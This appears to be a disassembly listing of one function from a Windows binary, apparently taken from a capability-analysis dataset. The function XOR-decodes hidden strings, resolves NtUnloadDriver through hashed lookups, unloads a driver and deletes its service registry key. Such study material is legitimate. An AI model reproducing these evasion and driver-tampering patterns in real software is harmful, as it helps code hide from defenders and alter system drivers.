Function at 0x180005530
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x18009f080]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov rsi, rdx
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov edx, 0x71
mov dword [rsp + 0x70], 0x2d0071
mov dword [rsp + 0x74], 0x140003
mov r12d, 0x14
mov dword [rsp + 0x78], 0x180016
mov dword [rsp + 0x7c], 0x50002
mov dword [rbp - 0x80], 0x80003
mov dword [rbp - 0x7c], 0x1c002d
mov dword [rbp - 0x78], 0x120010
mov dword [rbp - 0x74], 0x180019
mov dword [rbp - 0x70], 0x14001f
mov dword [rbp - 0x6c], 0x22002d
mov dword [rbp - 0x68], 0x220028
mov dword [rbp - 0x64], 0x340025
mov dword [rbp - 0x60], 0x2d003c
mov dword [rbp - 0x5c], 0x40032
mov dword [rbp - 0x58], 0x30003
mov dword [rbp - 0x54], 0x1f0014
mov dword [rbp - 0x50], 0x320005
mov dword [rbp - 0x4c], 0x1f001e
mov dword [rbp - 0x48], 0x30005
mov dword [rbp - 0x44], 0x1d001e
mov dword [rbp - 0x40], 0x140022
mov dword [rbp - 0x3c], 0x2d0005
mov dword [rbp - 0x38], 0x140022
mov dword [rbp - 0x34], 0x70003
mov dword [rbp - 0x30], 0x120018
mov dword [rbp - 0x2c], 0x20014
mov dword [rbp - 0x28], 0x71002d
movzx eax, word [0x180097a4a]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x180097a4c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x180097a4e]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [0x180097a50]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x180097a52]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x180097a54]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x180097a56]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x180097a58]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x180097a5a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x180097a5c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x180097a5e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x180097a60]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x180097a62]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x180097a64]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x180097a66]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [str.NtLoadDriver]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [0x180097a6a]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x180097a6c]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x180097a6e]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x180097a70]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [0x180097a72]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x180097a74]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x180097a76]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [str.NtUnloadDriver]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x180097a7a]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x180097a7c]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [0x180097a7e]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x180097a80]
xor ax, dx
mov word [rbp + 0x12], ax
movzx eax, word [0x180097a82]
xor ax, dx
mov word [rbp + 0x14], ax
movzx eax, word [0x180097a84]
xor ax, dx
mov word [rbp + 0x16], ax
movzx eax, word [0x180097a86]
xor ax, dx
mov word [rbp + 0x18], ax
movzx eax, word [0x180097a88]
xor ax, dx
mov word [rbp + 0x1a], ax
movzx eax, word [0x180097a8a]
xor ax, dx
mov word [rbp + 0x1c], ax
movzx eax, word [0x180097a8c]
xor ax, dx
mov word [rbp + 0x1e], ax
movzx eax, word [0x180097a8e]
xor ax, dx
mov word [rbp + 0x20], ax
movzx eax, word [str.SYSTEMCurrentControlSetServices_]
xor ax, dx
mov word [rbp + 0x22], ax
movzx eax, word [0x180097a92]
xor ax, dx
mov word [rbp + 0x24], ax
movzx eax, word [0x180097a94]
xor ax, dx
mov word [rbp + 0x26], ax
movzx eax, word [0x180097a96]
xor ax, dx
mov word [rbp + 0x28], ax
movzx eax, word [0x180097a98]
xor ax, dx
mov word [rbp + 0x2a], ax
movzx eax, word [0x180097a9a]
xor ax, dx
mov word [rbp + 0x2c], ax
movzx eax, word [0x180097a9c]
xor ax, dx
mov word [rbp + 0x2e], ax
movzx eax, word [0x180097a9e]
xor ax, dx
mov word [rbp + 0x30], ax
movzx eax, word [0x180097aa0]
xor ax, dx
mov word [rbp + 0x32], ax
movzx eax, word [0x180097aa2]
xor ax, dx
mov word [rbp + 0x34], ax
movzx eax, word [0x180097aa4]
xor ax, dx
mov word [rbp + 0x36], ax
movzx eax, word [0x180097aa6]
xor ax, dx
mov word [rbp + 0x38], ax
movzx eax, word [0x180097aa8]
xor ax, dx
mov word [rbp + 0x3a], ax
movzx eax, word [0x180097aaa]
xor ax, dx
mov word [rbp + 0x3c], ax
movzx eax, word [0x180097aac]
xor ax, dx
mov word [rbp + 0x3e], ax
movzx eax, word [0x180097aae]
xor ax, dx
mov word [rbp + 0x40], ax
movzx eax, word [0x180097ab0]
xor ax, dx
mov word [rbp + 0x42], ax
xor eax, eax
mov word [rbp + 0x44], ax
mov ecx, ebx
xor word [rsp + rcx*2 + 0x72], dx
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x70]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x70]
xor word [rbp + rcx*2 - 0x72], ax
add rcx, 0xf
cmp rcx, 0x69
jae 0x1800059c5
movzx edx, word [rsp + 0x70]
jmp 0x180005920
mov word [rbp + 0x44], bx
lea rax, [rsp + 0x72]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], bx
jne 0x1800059d5
mov rdx, qword [rsi + 0x10]
movabs r15, 0x7ffffffffffffffe
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x180005d92
mov rax, rsi
cmp qword [rsi + 0x18], 7
jbe 0x180005a08
mov rax, qword [rsi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x72]
lea rcx, [rbp + 0x78]
call fcn.18000b470
nop
call fcn.180001de0
mov rdi, rax
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x78]
cmp qword [rbp + 0x90], 7
cmova rax, qword [rbp + 0x78]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, r12
lea rdx, [0x180097a50]
lea rcx, [rsp + 0x48]
call fcn.18000ac20
nop
call fcn.180016670
lea r12, [rdi + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0x48]
mov r14, qword [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0xf
cmova rdx, r14
movabs rdi, 0xcbf29ce484222325
mov r9, rdi
mov rcx, rbx
movabs r10, 0x100000001b3
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x180005ad3
nop dword [rax]
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x180005ac0
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x58]
mov rcx, qword [rsp + 0x40]
call fcn.18000b770
mov r8, qword [rax + 8]
test r8, r8
je 0x180005b22
mov rax, qword [rsp + 0x40]
cmp r8, qword [rax + 8]
je 0x180005b22
mov rax, qword [r8 + 0x30]
mov qword [rsp + 0x40], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x180005b2c
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp + 0x68]
call rax
jmp 0x180005b2c
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
cmp r13, 0xf
jbe 0x180005b63
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x180005b5b
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d98
mov rcx, r14
call fcn.1800188e0
call fcn.180001de0
mov r14, rax
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8d, 0xe
lea rdx, str.NtUnloadDriver
lea rcx, [rsp + 0x48]
call fcn.18000ac20
nop
call fcn.180016670
lea r12, [r14 + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rsp + 0x48]
mov r14, qword [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0xf
cmova rcx, r14
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x180005bf3
movabs r8, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
xor rdi, rax
imul rdi, r8
inc rbx
cmp rbx, rdx
jb 0x180005be0
mov r9, rdi
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x58]
mov rbx, qword [rbp + 0x50]
mov rcx, rbx
call fcn.18000b770
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x180005c36
cmp rdx, qword [rbx + 8]
je 0x180005c36
mov rbx, qword [rdx + 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x180005c3f
lea rcx, [rbp + 0x68]
call rbx
mov ebx, eax
jmp 0x180005c44
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebx, 0xc0000138
cmp r13, 0xf
jbe 0x180005c7b
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x180005c73
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d98
mov rcx, r14
call fcn.1800188e0
mov rax, qword [rsi + 0x10]
sub r15, rax
cmp r15, 0x22
jb 0x180005d9e
cmp qword [rsi + 0x18], 7
jbe 0x180005c96
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rsp + 0x48]
call fcn.18000b470
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x180005d1b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005da4
call fcn.1800188e0
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 7
jbe 0x180005d5a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005d55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d8c
call fcn.1800188e0
mov eax, ebx
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.1800188c0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180029990
int3
call fcn.1800013b0
nop
call fcn.180029990
nop
call fcn.1800013b0
int3
call fcn.180029990
int3